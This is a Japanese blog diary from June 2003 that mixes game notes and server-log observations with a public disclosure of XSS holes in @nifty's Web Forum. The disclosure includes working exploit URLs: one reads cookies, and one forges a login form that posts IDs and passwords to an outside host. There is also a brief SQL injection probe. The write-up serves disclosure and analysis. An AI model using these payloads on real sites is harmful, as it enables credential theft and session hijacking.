手書きだと迷わずかなで書いてしまうのだけど,目の前にそれっぽい漢字の候補がいくつか表示されてしまうとせっかくだからということでついどれかを使ってしまったりすることもある。
以上、不定期戯言 2003年6月 より
ありますね。というか、変換後のデフォルトで漢字になったりしませんか。
私なども「出来ます」ではなく「できます」を、「無い」ではなく「ない」という表記を使うように心がけているつもりなのですが、いつの間にか漢字になっていることがあるのですよね。
あと IT Pro の記事読んで思ったのですが、「脆弱性」なんてのは「
XSS大王さらにその後
「ITPro ニュース:@niftyの電子掲示板に「クロスサイト・スクリプティングぜい弱性」,緊急メンテナンスを実施 (itpro.nikkeibp.co.jp)」という記事が出ていますね。
気になった点をいくつか。
@niftyの場合、XSSぜい弱性によって以下のような問題が起こる可能性があった。あるクラッカが他の電子会議室へのリンクと見せかけて、“騙しスクリプト”を含むメッセージを書き込む。それを善意のユーザーがクリックすると、@niftyの会員認証ダイアログに見せかけた偽のダイアログが表示され、そのユーザーが打ち込んだIDとパスワードはまんまとクラッカの手に渡ってしまう。この際、セッション自体がSSLで保護されていようがいまいが関係なく、クラッカに通信の乗っ取りを許してしまうのが、この問題のたちが悪いところだ。注意深いユーザーでも、Webブラウザの鍵マークを見て安心してしまうだろう。
うーん、微妙に混同しているような……。べつに「掲示板にスクリプトを書いて捏造フォームに誘導する」必要はなく、「掲示板にスクリプトを書いてセッション Cookie を盗む」こともできましたし、「掲示板に(スクリプトを含まない)リンクを書き込んで捏造フォームに誘導する」こともできました。
- 掲示板に任意のスクリプトが書き込める
- フォームが捏造できる
という二つの別々の問題があって、これはそれぞれ単独でセキュリティホールとして成立します。それを合わせ技のように解説しているのがちょっと変な感じですね。しかも後者は Webフォーラムの書き込みとは何ら関係ありません。ログインフォーム自体が持っていた脆弱性です。
※細かいですけど、ログインパスワードを求められる画面はダイアログじゃないです……。
同社は10カ月以上にわたって「問題の存在に気付かなかった」(広報室)とのことだが、今年6月19日の深夜に一部のフォーラム管理者から指摘を受けると迅速に事態に対応した。現在は、書き込んだタグを正常に表示できないこと以外、電子掲示板の機能は動作しており、読み書きが可能である。
「問題の存在に気づかなかった」のではなく、「問題の重大性を理解していなかった」というのが正確なところではないかと思量します。根拠など詳しいことはちょっと書けないのですが、オープン直後にこの問題を認識していた人がいるのは確かで、おそらくニフティは報告を受けていたでしょう。ただ、理解はしていなかったのだと思います。
余談ですが、この問題が存在することは、昨年の 10月時点で既に公になっていました。りゅうさんの偽偽夜食日記 (rryu.sakura.ne.jp)に、以下のように書かれています。
とりあえずWebフォーラムの情報のメッカは「Web活用フォーラム」らしい。そこをさらっと読むだけでWebフォーラムのシステムの混乱ぶりが見て取れるので、実際はもっと凄いことになっているのだろう。たとえば旧形式の掲示板では「>」を書くには>と書かないといけなかったとか。エスケープしてないのかよっ。XSSバリバリ!?
以上、偽偽夜食日記の部屋 2002年10月 より
では何故今になって「迅速な対応」をしたのかというと、その理由の一つには、「具体的な exploit コードが既に公開されていた」という点があるのでしょう。
※って、他人事のように言っていますが公開したのは他ならぬ私です、はい。ニフティのフォーラム部と関わるのが嫌だったというのが理由ですが、動きの鈍いニフティのお尻を叩く効果もあったようで、最終的には良い結果を招いたと思います。
それから引用が前後しますが、一番気になったのがこの見出し。
注意深いユーザーでも騙される、ただし現在までに実害はなし
「現在までに実害はなし」と、どうして断言できるのかが本当に謎です。私は、とあるメールでこういうことを書きました。
このご発言の背後には、現時点ではまだこの脆弱性が「悪意のある方に利用」 されていないという暗黙の了解があるように思います。
しかし、ご理解いただいているとは思いますが、この脆弱性を利用すれば、攻撃者は「ひそかに」ユーザの個人情報や ID、パスワードを収集することができます。攻撃者は当然、ユーザが被害を受けていることに気づかないように気を配るでしょう。ID やパスワードの奪取に成功した場合、密かにログインし、個人情報を収集してすぐにログアウトすれば、ほとんどのユーザは被害には気づかないはずです。被害報告がないことを理由に、被害が発生していないと判断することはできません。
そういうことで、簡単に「被害がない」と断言することはできないはずなのです。
今までの全ログを綿密に調査すればクロスサイトスクリプティング脆弱性を利用したリクエストがあったかなかったかは調査できるかもしれません。しかし、本当にそれを行ったのなら、「被害がない」という結論は出ないはずなのです。なぜなら、私は脆弱性を利用したリクエストを実際に行って exploit コードが動作することを確認しているわけで、過去に「捏造フォーム」が作られた事実は確実に存在しています。それがテストのためのものなのか、実際に ID とパスワードが盗まれたのかは、その送信先のサーバのログを見ない限り分からないはずです。
ちなみに、私が公開していた exploit は http://altba.com に GET メソッドでデータを送信するものでした。altba.com には、その捏造フォームからデータが送られてきたログが 4件残っています。そのうち 2件は私のテストなので問題ありませんが、あとの 2件は私のテストではないので、複数のサーバから複数回の捏造フォーム作成が行われていたことは間違いありません。
ニフティ側のログには、「http://altba.com に GET でデータを送る偽フォームが作られた」痕跡が少なくとも 4回以上はあるはずです。そしてニフティは、altba.com にユーザ ID やパスワードが漏れたかどうかについて問い合わせてきていません (私の知る限りでは)。記事が「実害なし」と言っているのは、単にニフティが「実害なし」と主張しているからに過ぎず、その主張にも裏付けはないと考えた方が良いでしょう。
それで、この記事の最大の問題点なのですが……それは、「メンテナンスを実施」してとりあえず危機は回避されたかのように読めてしまうこと。実は、このセキュリティ問題はまだ解決していないのですよね。まあ、それを悟れというのも無理な話なので、ある意味しようがないのですが。
2003年6月23日(月曜日)
XSS大王・さらなるホゥル
「XSS大王」に対するコメントで y-Aki さんに指摘されて気づきましたが、Webフォーラムの Cookie には domain=.nifty.com という指定のものがあるのですね。
この Cookie は nifty.com ドメインのどこからでも読むことができてしまいます。その問題点については「SecurIT-Advisory: 2001-001 クロスサイトスクリプティング脆弱性蔓延の現状と解決策 III-7. 万が一に備えて:Cookieの有効ドメイン範囲を最小限にする (securit.etl.go.jp)」にありますが、Web フォーラムのケースでは、そこに書かれている以上に深刻な結果となります。なぜなら、このドメインの範囲には hpcgi*.nifty.com が含まれるからです。
※* は任意の自然数。実際には hpcgi1.nifty.com とか hpcgi2.nifty.com といった具合になります。
hpcgi*.nifty.com というのは、ニフティ@nifty のユーザ CGI のスペースです。つまり、ニフティ@nifty の会員であれば誰でも、hpcgi*.nifty.com に任意の CGI を置くことができます。当然、CGI には Cookie を読み取る機能を持たせることができますから、普通に Cookie を読み取ることができるのです。
実際、「Cookie操作装置 (hpcgi1.nifty.com)」という CGI を設置し、Web フォーラムログイン後にアクセスしてみたところ、Cookie の値が表示されました。実際にはこのような露骨なものである必要は全くないわけで、掲示板のスクリプトが背後でひっそり Cookie の値を取るとか、アクセスカウンターのようなものに仕込むとか、Webバグにするといった方法で、ユーザに気づかれないように Cookie の値を盗み出すことが可能です。
これはもはや、クロスサイトスクリプティング脆弱性があるとかないとかいう問題ではありません。Webフォーラムにログイン後、ブラウザを閉じずにそのまま別のサイトにアクセスすると、それだけで漏洩の危険があります。たとえば、Webフォーラムに書き込まれた URL をブラウザの URL 窓にコピーしてアクセスしても漏洩します。URL が hpcgi*.nifty.com でなくても、hpcgi*.nifty.com にリダイレクトしているかもしれませんし、hpcgi*.nifty.com の画像を参照しているだけで十分です。
はっきり言って、ユーザに自衛手段はありません。Cookie を無効にすれば漏洩は防げるでしょう。ただしその場合、Webフォーラムにログインすることもできなくなります。
困ったことに、システム側の対処も困難です。これは「nifty.com 以下全域で有効な Cookie」が必要になるようなシステム設計そのものの欠陥ですが、サイトをまたがってログイン情報を有効にするには他に方法がありません。対処するとなると、サイトのドメイン名を変更する必要があります。これは容易ではありません。
※でもニフティってころころドメイン名を変えたりするイメージがあります。意外に簡単にできたりするのかもしれません。
そんなわけで、処置なしです。結論としては、Webフォーラムには一切ログインしない、というのが唯一の対処となるでしょう。会員専用のサービスは全く利用できなくなりますが、オープンなサービスなら利用できます。この機会に「全掲示板をオープンにしてくれ」とマネジャーに要望を出してみるのも良いかも知れません。
XSS大王その後
XSS大王の件ですが、Webフォーラムのトップ (com.nifty.com)に、こんなアナウンスが出ていますね。
いつもWeb フォーラムをご利用いただきましてありがとうございます。
本日(6/20)より「掲示板でのタグの使用」を一時的に休止とさせていただきます。
上記機能を利用すると、自由にhtmlタグを記述することが可能ですが、悪意をもって利用した場合、発言者のやり方によっては、掲示板利用者に被害がおよぶ可能性があるため、対策を行うことといたしました。
対策を行う間、機能を一時的に休止させていただきます。ご迷惑をおかけし、申し訳ございません。
なお、既に登録されている発言でタグが利用されていた場合には、タグがそのまま表示されることとなりますのでご留意ください。
以上、@nifty:forum:forum@nifty インフォメーション より
「善意ある方」の情報によると、20日の 19:00 時点でこのような対処がなされたのだとか。思ったより素早い対応で、これは高く評価して良いと思います。
同時にログインフォームの XSS も対策されていますので、ここで公開していた exploit コードは通らなくなりました。……が、実は別の exploit だと通ったりするので、抜本的な対策が行われたわけではないようです。
2003年6月22日(日曜日)
アーミック序盤
アンリミテッド:サガ (www.amazon.co.jp)、アーミック編。デザイナーズノートに書いてあるとおり、シナリオクリアは二の次でアイテム収集が目的となりますが、これがキツい。何がキツいって、序盤が運に左右されすぎです。
最初の薬草摘みをクリアしてラークバーンにたどり着いたところで、店に必要なアイテムがどれだけ出るかが勝負です。この品揃えがショボイとハマります。サブシナリオをクリアすれば品揃えは変わるのですが、この時点でできるサブシナリオは……。
- 古井戸の底 …… 鍵開けがないとクリア不可能。この時点のメンバーはアーミック、ノース、ヌアージですが、デフォルトで鍵開けを持っているメンバーはいないので、薬草摘みで鍵開けが出ていない限りクリアできません。
- 光砂の滝 …… クリアするにはボスを倒す必要がありますが、ボスは「ピー・タイタス」×1 + 「ピー」×3 + 「ナッツ」×3。ほぼ初期状態のメンバー三人で倒せる可能性はかなり低いと思います。実戦ではヌアージがいきなり「安楽死」で気絶、その時点で諦めました。
- 魔物退治 …… ボスが「根無し草」×3 で同上。実戦ではノースの「召雷」でなんとか二体までは倒しましたが、そこで LP が尽きて終了。
ぶっちゃけどれもクリアできません。仕方ないので、サブシナリオに顔だけ出してアイテムをかすめ取り、ボスには出会わないようにして逃げてくる、ということを繰り返さないといけません。その間、メンバーの成長などは全くないわけでして……。
※アンリミテッド・サガではキャラの成長があるのはシナリオクリア時のみ。
……まあ、ちゃんとメインが始まれば、あとはそれなりに楽しめると思います。
関連する話題: 出来事 / ゲーム / スクウェア / Sa・Ga / アンリミテッド:サガ
2003年6月21日(土曜日)
最後の一人
アンリミテッド:サガ (www.amazon.co.jp)。サブシナリオを二つほど余計にクリアしてメンバーを強化し、マイス編は何とかクリア。「トリプル」「ブラッド」「ドソード」を組み合わせた 5連携など喰らいましたが、まあ何とか耐えてくれました。マリーは LP0 になりましたが、他のメンバーは LP が 1/3 くらい残っていたので、もう少し弱くても倒せたかも。
※というか、最初に死んだのは運が悪かっただけのような気がしました。ファントムって LP は低めなので、速攻で行けば何とかなります。その後は LP も少し回復しますし。
というわけで、最後の一人であるアーミック編開始。デザイナーズノートによると、最高難度らしいですが……。
関連する話題: 出来事 / ゲーム / スクウェア / Sa・Ga / アンリミテッド:サガ
2003年6月20日(金曜日)
リンクできなかった
おっと、うっかりニフティのサイトにリンク張ってしまっていましたが、「アット・ニフティホームページへのリンクについて (www.nifty.com)」の内容に従うとリンクできないのでした。危ない危ない。
※「ウィンドウを分けてアクセスさせる」ことができないので。
関連する話題: Web
善意ある方
善意ある方が現れたようなので、XSS大王の内容の一部を伏せました。
ところで、ふと思ったのですが、@nifty/個人情報保護ポリシー (www.nifty.com)の内容って、誰かが勝手に Web フォーラムに Web バグを仕掛けて情報収集する場合にはどうなんでしょうね。特に関知しないのかしら……。
※セッション ID を一緒に盗めばログと ID との紐付けもできるので美味しいはず。
2003年6月19日(木曜日)
PNG 半透明を有効にする Proxy?
"pngbehavior.htc" というファイルをリクエストしてくる人がいるようなので調べてみると、Explorer versus PNG (AlphaImageLoader) (redvip.homelinux.net) などというサイトがヒット。
ちょっと前にえむけいさんに教えてもらった「Windows版 IE 5.5以降の DirectXフィルタ「AlphaImageLoader」で 24BitアルファチャネルPNGを表示する (www.minc.ne.jp)」というやつを、HTC (www.w3.org) にして使っているようですね。そのファイルの名前が pngbehavior.htc のようで。
しかし、どうしてありもしない .htc ファイルをリクエストしてくるのでしょう。私は behavior プロパティなんて指定していないのですけれど。ログを見ているとどうも特定の Proxy がリクエストしているようなのですが、PNG を見つけるとそういうフィルタを勝手に追加する Proxy があったりするのでしょうか。
関連する話題: Web / UA / Internet Explorer
2003年6月18日(水曜日)
abuse や root を用意しておけという RFC
abuse@example.com だとか root@example.com をちゃんと用意しておくべしという RFC の話。昨日は迂闊にも RFC の番号が思い出せませんでしたが、RFC2142でした。
……と思ったら、RFC2142 に root って出てないですね。あれれ、私の勘違い?
XSS大王
更新: 2003年6月27日
ニフティの Web フォーラム (com.nifty.com)において、私が見てきた中で最大のクロスサイトスクリプティング脆弱性を発見してしまいました (ただし、一部は私が発見したのではなくりゅうさんによる情報です)。
- ログインフォームと同ドメイン同スキーム (https) の検索フォームに XSS があるため任意のスクリプトが実行可能。セッション Cookie 漏洩の可能性あり。
- ログイン後においてスクリプトを含む任意の発言 (書き込み) ができる会議室が存在するため、やはりセッション Cookie 漏洩。場所によってはログインしないで書き込むことができ、それをログイン後の状態の会員が見たりするので凶悪です。
- ログインフォーム自体に特大の XSS が存在。フォームを含むパラメータを渡してログインフォーム捏造可能。元フォームが https なので、捏造されたフォームも SSL 保護つき、サーバ証明書も付いていてばっちりです。
- ログインフォームに渡した別のパラメータが、その先の画面で script要素の中に出力されます。やっぱり任意のスクリプト実行可能でセッション Cookie 漏洩。
※以下は 20日削除、27日再公開部分。いずれも現在は修正されていますので、解説のような現象は起きません。
せっかくなので詳細に説明します。まず検索フォームについてですが、以下のような URL をリクエストするとクロスサイトスクリプティング脆弱性によって Cookie の値が表示されます。
https://com.nifty.com/forum/circle/search.go?free=<script>document.write(document.cookie)</script>&SearchCircleStatus=CircleSearchServlet4
これはログインフォームと同じドメイン・スキームです。パスは違いますが、ログインフォームで発行される Cookie は path=/ と指定されているので問題ありません。
次に書き込みですが、Web フォーラムには <TAG OK!> とされている掲示板があります。そのような会議室では任意のスクリプトを含む投稿が可能です。たとえば以下のような文字列を投稿します。
<b style="display: block; position: relative; width: 100%; height; 5em; font-size: 200%;" onmouseover="var id = 'あなたのセッション ID は「' + document.cookie + '」です。<br>もし、セッション ID の値が表示されていたら危険です。この値を知られるとセッションハイジャックが行われる可能性があります。このスクリプトは外部にセッション ID を送出することはしていませんが、悪意あるユーザはセッション ID を外部に送出し、それを使ってセッションハイジャックを行おうとするかも知れません。<br>画像も表示できることですし、セッション ID を外部に送出するのは簡単です。<br><br>合掌。<img src="http://www.nifty.com/policy/images/nifty_w-S32.gif">'; foo = window.open(); foo.document.writeln(id);">Click Me!!</b>
このデモは、マウスが近くに来ると警告のウィンドウが開きます。実際の攻撃では警告ウィンドウなど表示せず、ひっそりと外部にセッション ID を送ることになるでしょう。上記のデモはわざと凝った作りにしていますが、img要素が使用できるので、攻撃はもっとずっと容易です。
※なお、実際に上記のデモを Web 快適活用フォーラムのお試しB (bbs1.nifty.com) に投稿して動作を確認しています。現在では該当発言は (おそらくは管理者によってひっそりと) 削除されています。
※2003-06-21 追記: ひっそりと、などと書いていましたが、その後管理者の Tigerさんから正式にご連絡いただきました。Tigerさんにはその後も大変お世話になりました。本当にありがとうございました。
さて次ですが、ログインフォーム捏造というのは、たとえばこんな URL をリクエストします。action の値を変えれば好きなところにパスワードを送らせることができます。
https://com.nifty.com/forum/login.go?RETURL=&wr_url="></form><form action="http://altba.com">ID:<input name="id"><br>パスワード:<input name="pass"><br><input type="submit" value="ログイン"></form><table style="display:none;
※最初の form要素終了タグは本物のフォームを無効化するために、最後の table要素開始タグは本物のフォームコントロールを隠蔽するために使用しています。引用符が閉じていないように見えるのは、この値が本来は属性値の中に出力されるためです。なお、このデモはフォームコントロールの配置にこだわっていませんが、style属性に任意の値が指定できますので、本物そっくりの配置にすることも可能です。
このような URL をリクエストするリンクを作り、うまい文言でユーザを誘導します。ユーザが捏造に気づかずにログインを試みてくれれば成功で、攻撃者の望んだところに ID とパスワードが送られます。これは @nifty の ID とパスワードそのものを盗むことができるので、セッションハイジャックよりもずっと危険です。
最後 4番目ですが、問題のログインフォームには、引数として「ログイン後の遷移先 URL」を渡すことができます。これがこともあろうに、ログイン後画面の location.href= として実装されているため、script要素の中に任意のスクリプトを書くことができます。たとえば
https://com.nifty.com/forum/login.go?RETURL=";alert(document.cookie);var%20foo="
などをリクエストします。ログインフォームの中では URL エンコードされているので無害になりますが、ログインに成功したあとでスクリプトが実行されます。
※お尻の var foo=" はスクリプトエラーにならないようにするためのダミーです。なお、少なくとも IE6 SP1 の場合は、location.href="foo"; alert("bar"); と書いてある場合、alert が実行されてから遷移するようです。つまり location.href の後ろに悪意あるスクリプトを書いても OK ということです。
※ここまで 20日削除、27日再公開部分。
おそらくは他にもあるでしょうが、私が気づいたのはこれだけです。しかし、いずれもユーザが気づかないうちにセッションハイジャックが行われたり、生のパスワードが漏洩する可能性がある危険なものです。これらの攻撃のほとんどはスクリプトを無効にすることで防ぐことができます (3番目のフォーム捏造を除く)。しかしながら、Web フォーラムではスクリプトを有効にすることが推奨されている (実際、有効にしないとメニューの一部が機能しない) ので、Web フォーラムにログインするユーザのほとんどはスクリプトを有効にしていることでしょう。
これだけあると報告するだけでも一苦労ですが、危険が大きすぎるので頑張って報告したいところです……が、諸事情により、私はニフティのフォーラム部とはもう関わり合いたくないと思っていたりするので、報告する気が起きないのでした。そんなわけで、むしろ危険性をより多くの人に知ってもらう方向で動くことにします。
善意と暇のある方は、ニフティに報告してあげてください。
そうでない方がとりあえず対処したい場合、方法は二つほど考えられます。
- Web フォーラムを一切利用しない。
- 不便だがスクリプトを無効にして利用する。スクリプト無効で利用できない機能については、諦める。
好きな方を選んでください。ただし、フォーム捏造については処置無しです。
※2003-06-20 追記 : 善意ある方が現れましたので、内容の一部を伏せました。
※2003-06-27 追記 : クロスサイトスクリプティング脆弱性は修正されましたので、伏せた内容を再公開しました。修正済みですので、現在は上記の攻撃はいずれも成立しません。もっとも、別のセキュリティホールは残っていますが……。
読めないメールは spam
HP から読めないメールが。
かつて Compaq でマシンを買ったので、hp directplus (www.directplus.compaq.co.jp) からメールが来ること自体は問題ありませんし、迷惑とも思っていないのですが、今までのメールは普通に読めたのですよね。
ところが今日来たメールは読めませんでした。原因は明らかで、HTML メールになったからです。この HTML メールは multipart/alternative で text/plain なパートもついているのですが、Shuriken は HTML メールを無効にすると、テキストパートが存在していても問答無用で非表示にするのです。
「内容を表示」ボタンを押せば HTML の表示は可能なのですが、テキストパートの表示はできません。HTML パートを表示するつもりがない場合、HTML パートが含まれているだけで全く読めないという結果になるのでした。
※ちなみにソース表示はできるので、メールのソースを読めばテキストパートを読むことはいちおう可能です。
その後 HP に問い合わせたら、今後はテキストメールで送ってくれるそうです。良かった良かった。
2003年6月17日(火曜日)
引けない URL
またも見慣れない Referer があったので (というかほぼ毎日ありますが) 見てみると、サーバが見つからないエラー。調べてみると、そのホストには MX レコードしか登録されていないようです。
きっと社内の DNS では A レコードが引けるのでしょうが……こういうのってセキュリティ的にどうなのでしょうね。
ログ集計の盲点
ホスト名って case insensitive なので、www.googlE.com のようなホスト名でも問題なくアクセスでき、しかもそれがそのまま Referer として送出されてきます。
Referer を集計するときには、ホスト名の大文字小文字を同一視しないといけませんが……めんどくさいなぁ……。
2003年6月16日(月曜日)
Referer spam
ログを見ていたら見慣れない Referer があったのでアクセスしてみたら、もうこれ見よがしなアダルトサイトで幻滅。もちろんそのページからリンクされている訳ではありませんし、前後のログを見る限り、タブブラウザなどによる Referer 誤送出とも考えにくいところです。
※いやまあ、全く考えられないわけではないですが。そういえば、かつてアダルトサイト業界で働いていて、今はタブブラウザを使っている人が一人思い浮かびましたが……違うだろうなぁ。
そんなわけで、これは Referer spam と認定。最近では Referer を勝手に記録して勝手に逆リンクを張る日記システムなどが流行っているので、そこを狙ってアダルトサイトの Referer を含むリクエストを送出すると、勝手にリンクが張られて宣伝になり、しかも Google のページランクもアップしてウハウハ……というわけです。
いやはや。
関連する話題: Web / spam / セキュリティ / Referer spam / SEO
ファントムに負ける
アンリミテッド:サガ (www.amazon.co.jp)。マイス編のメインが一通り終わり、ラストダンジョンへ行ってラスボスと対戦。デザイナーズノートによると、マイス編はラスボスが強いらしいですが……。
……ってホントに強いよ! ナイト・オブ・ザ・ラウンドテーブルは「石の雨」を喰らって 3人が 2LP 喰らったことを除けばほぼ問題なしでしたが、ファントム強すぎ!「ブラッドトリプルブラッドドソード」とかいうとんでもない 4連携を繰り出してきて、うち 3発がマイスに当たり、ダメージはなんと 6LP! これで残りが 1 になり、直後にブラッドソード単発で 3LP ダメージ、マイス死亡。終了。
※「ブラッドトリプルブラッドドソード」はママ。「ブラッドソード」の 2連携は「ブラッドドソード」となって、「ド」がかぶります。敵の技の連携にはこういうのが多くて、「チャージ」2連携で「チャーージ」とか、「キック」2連携で「キッック」になっりします。味方のキックは 2連携しても「キックキック」なのに。
ナイト・オブ・ザ・ラウンドテーブル + ファントムってヴェント編でも出てきましたが、ヴェント編にはドラゴンハートがありました。そしてなにより、メンバーの LP が全然違います。ヴェント編ではバーストが LP22、トマスとフランシスが 19、ルビィが 18、ヴェント自身も 16 ありますから「ブラッドトリプルブラッドドソード」なんてのを喰らっても何とかなります。 しかしマイス編では、なんとグレースの LP 16 が最高。続いて銀の少女とローラが 15、マイスとティフォンが 13、サファイアが 10、マリーが 8。使ってませんが ファーが 8、ミシェルが 6 で、最後の方の人なんか 1ターン耐えられそうにないんですが……。
しかも悲しいかな、マイス編のメンバーって攻撃力も無いんですね。ミシェルは力と技の資質が5なんですが、ど真ん中にレベル1 のパネルが居座っているのでイマイチ強化できず、しかも LP たったの 6 ですからうっかり使うと即死します。
他のメンバーは、ローラが力資質 4 ですが技資質が 1 しかありません。ファーは力資質 3 技資質 3 で普通ですが、LP は 8。銀の少女は力資質 3 で LP 15 てすが 技資質がやっぱり 1。あとはみんな力資質 2以下……。
全身鎧を解禁すれば何とでもなりそうですが、それはしたくないので、サブシナリオでもうちょっと鍛えますか。実は誰も HP 400 に達していないし、攻撃の要のローラなんか HP261 しかないので。
関連する話題: 出来事 / ゲーム / スクウェア / Sa・Ga / アンリミテッド:サガ
2003年6月13日(金曜日)
密漁
何故かあわびの密漁の話題で盛り上がっていましたが、昔 kotaroさん (www.mrdn.net)にちょこっと頂いたあわびは美味しかったなぁ……。あわびツアー、良いかも (いや、もちろん密漁ツアーじゃなくて)。
あまり関係ありませんが、「密漁」→「ファイナルファンタジータクティクス」→「ファイナルファンタジータクティクスアドバンス」と来てゲボバンスピーを連想したりして……。アンリミテッド:サガ 7人クリアしたら買おうかしらん。
関連する話題: 飲食物 / spam / ファイナルファンタジータクティクス / ゲーム
最終更新日を更新
コメント投稿できるようになり、各日記にコメント件数が表示されるようになったのは良いのですが、日記自体の最終更新日が更新されないと日記のリソースが更新されないので、コメント件数の表示も更新されないのでした。
つまり、コメントが投稿されても、日記が更新されない限りコメント件数の表示は変わらないというわけです。
というわけで、最終更新日取得ルーチンを見直す必要がありますね。これまたぼちぼちと……。
※コメント投稿時に ebi.xml を touch するという方法が過ぎりましたが……それで問題ないのかなぁ。
関連する話題: hatomaru.dll / えび日記
無反応
昨日報告したセキュリティホールの件、24時間経過しても全く反応無し。もちろん 24時間で直るとは思っていませんが、何か反応があっても良さそうな気はします。
普通に営業時間中に送ったつもりなんですが……まあ……こんなものでしょう。
※officeさんのところ (www.office.ac)なんかでそういう話は良く見かけましたので、まあ、こんなものだろうとは思っていましたが。
関連する話題: セキュリティ
2003年6月12日(木曜日)
hatomaru.dll 1.0.4
Hatena Antenna が下位の robots.txt を GET してくる対策、ヨスケが url() の解釈を誤って ebibg.png を GET してくる対策を実装。前者は 204 応答、後者は 200 応答で画像出力として対応しました。
ついでに、傍目には分かりませんが内部構造もだいぶ変わっています。
関連する話題: hatomaru.dll / えび日記
SQLインジェクション
某所で SQL インジェクションのセキュリティホールを発見。
セキュリティホールの存在をアピールするためにはデモ用の無害な exploit コードが必要になりますが、ここで困りました。私は SQL をほとんど知らないのです。ただの XSS なら試行錯誤して作れば良いのですが、SQL インジェクションの場合はターゲットのデータベースを書き換える事ができてしまう可能性があるので、迂闊なコードを試すとターゲットに致命的なダメージを与えてしまう可能性があります。
とりあえず SQL を扱った経験を持つむらまささんに聞いてみたところ、ターゲットは Microsoft SQL Server らしいので @@VERSION という値を喰わせると良いだろう、とのアドバイス。やってみると見事にバージョン番号を含むエラーメッセージが表示されました。
XSS だけの場合は、見つけてもいちいち報告しないで、単に「制限付きサイト」に登録するだけで終わりにしているのですが……。これはさすがに厳しいので報告しておきましょうか。
関連する話題: メモ / セキュリティ / もののけ / むらまささん / SQLインジェクション
dloaderまた来たー
今度は www のつかない URL を総なめして行かれたようで。やっぱり待機時間ゼロで、5リクエスト/秒 なんてアクセスがざらにあります。まあべつに良いのですが、アクセスログの半分が dloader っていうのはちょっと
※あー、法大奥山研究室:その他:エラーログ (okuyama.mt.tama.hosei.ac.jp)にも dloader の話が出ていますね……。
2003年6月11日(水曜日)
フォームにウィルス
「【速報】迷惑メール防止サイトが障害! (itpro.nikkeibp.co.jp)」……通報するためのフォームが HTML.Redlof.A (www.symantec.com) に感染していた、というお話。
私などは普段からスクリプト無効なので、MS00-075 (www.microsoft.com) が適用してあったかどうか心配するまでもない……と言いたいところですが、不正コピーを報告しようとした時のような事があると洒落にならないですね。スクリプト無効だとフォームも何も利用できないとなると、熱意のある人はわざわざスクリプトを有効にしてアクセスし直してしまうかもしれません。
※というか、そもそも多くの人は最初からスクリプト有効なのでしょうけれど。
私もたまにあんまり考えずに「スクリプト有効にして再アクセス」なんて事をしてしまうことがあるので、他人事でなかったり。
関連する話題: セキュリティ
dloader来たー
ログを見たらロボットのアクセスが異様に多かったので、「おっ、Googlebot が来たか?」と思ってログを見ると……。
2003-06-10 00:33:13 218.145.25.75 GET http://www.altba.com/bakera/hatomaru.aspx/ebi 200 dloader(NaverRobot)/1.0 -
2003-06-10 00:33:14 218.145.25.75 GET http://www.altba.com/bakera/hatomaru.aspx/ebi/2001 200 dloader(NaverRobot)/1.0 -
2003-06-10 00:33:20 218.145.25.75 GET http://www.altba.com/bakera/hatomaru.aspx/ebi/2001/10 200 dloader(NaverRobot)/1.0 -
2003-06-10 00:33:23 218.145.25.75 GET http://www.altba.com/bakera/hatomaru.aspx/ebi/2001/10/16 200 dloader(NaverRobot)/1.0 -
2003-06-10 00:33:23 218.145.25.75 GET http://www.altba.com/bakera/hatomaru.aspx/ebi/2001/10/16/5bcc58eb901a306e30a230ec 200 dloader(NaverRobot)/1.0 -
2003-06-10 00:33:24 218.145.25.75 GET http://www.altba.com/bakera/hatomaru.aspx/ebi/2001/10/19 200 dloader(NaverRobot)/1.0 -
2003-06-10 00:33:24 218.145.25.75 GET http://www.altba.com/bakera/hatomaru.aspx/ebi/2001/10/19/30533063305d308a 200 dloader(NaverRobot)/1.0 -
……
うわ、dloader! しかもアクセス間隔ゼロかいっ。
※/ebi/2001 のリクエストのあとに 6秒開いていたりしますが、これはなにしろ 2001年の日記全部なので転送に時間がかかるはずです。ダウンロードに 6秒かかって、その後の待機時間ゼロで次のリクエストを発行しているのでしょう。
こんな感じでリクエストは延々続き、00:33:13 ~ 00:39:50 の 337秒の間に、なんと 540回のリクエストが発行されています。平均アクセス間隔 1秒切ってるんですが……。
しかも、このすぐあとにサーチエンジンで「dloader」を検索してきた人のアクセスが 5件ほどあったりして。きっと、同じようなログを残された人が検索したんでしょうね……。
※それから、そもそもなんで www つきのホスト名でアクセスしてるんでしょう? www.altba.com も altba.com も Aレコードの値は同じで同一サーバへのアクセスになりますが、私は普段 www. つきの URL は使っていないんですよね……。
2003年6月10日(火曜日)
トラックバック実装?
というわけでトラックバックらしきものを一応実装したつもり。
たとえば http://bakera.jp/hatomaru.aspx/ebi/2003/6/10/30c830e930c330af30d030c330af5b9f88c5003f/trackback に trackback ping を POST すれば OK。現状だとコメントに混じってトラックバックがあった旨のメッセージが表示されます (手抜き実装)。
……なのですが、エラー処理なんかが実にショボイのでうまくないかも。あとトラックバックの一覧を XML で取得する機能もありません (手抜き実装)。
まあ、そのあたりはぼちぼちと。あとは私が trackback ping の仕様を勘違いしている可能性なんかもありますので、例によって勇気ある方は適当にトラックバックしてみて、変だったらツッコミ入れてください。
関連する話題: hatomaru.dll / えび日記
名称変更
割と最近になって "schizophrenia" の訳語であるところの病名が「精神分裂病」から「統合失調症」に変更されましたが、ふと気がつくと "Schizoid Personality Disorder " は「分裂病質人格障害」、"Schizotypal Personality Disorder" は「分裂病型人格障害」のまんまで全然変わっていないような気がします。
これはこれで良いのかしら……。
※あと、DSM-4 の原文らしきものが DSM-IV - Diagnostic and Statistical Manual of Mental Disorders - Fourth Edition (www.psychologynet.org) で読めることを発見したのでついでにメモしておきます。
関連する話題: 精神医学
クリムゾンフレア
アンリミテッド:サガ (www.amazon.co.jp)。術合成持ちのサファイアが「太陽風」を覚えたので、「太陽風」をベースに「炎の矢」「聖印」「デテクトブラッド」を加えて「クリムゾンフレア」を合成!
使ってみると、エフェクトはかなり格好良いのですが、ダメージは 1300 強といったところ。まあ強いのですが、予想したほどでもない感じです。しかも恐ろしいことに、一発撃つだけで HP が 99 も消耗する! いま最大 HP 500 くらいなんですが……。
※太陽風の消費が 60、合成によってコスト +65% の補正がついているので 60×165% = 99 となります。
それに対して「サンダークラップ」なら全体に 1000 強のダメージに加えて麻痺効果もあり、ベースが「クラウドコール」なので消費 HP もせいぜい 15 くらいです。サンダークラップの方が使い勝手は良いかも……。
関連する話題: 出来事 / ゲーム / スクウェア / Sa・Ga / アンリミテッド:サガ
2003年6月9日(月曜日)
過激表現
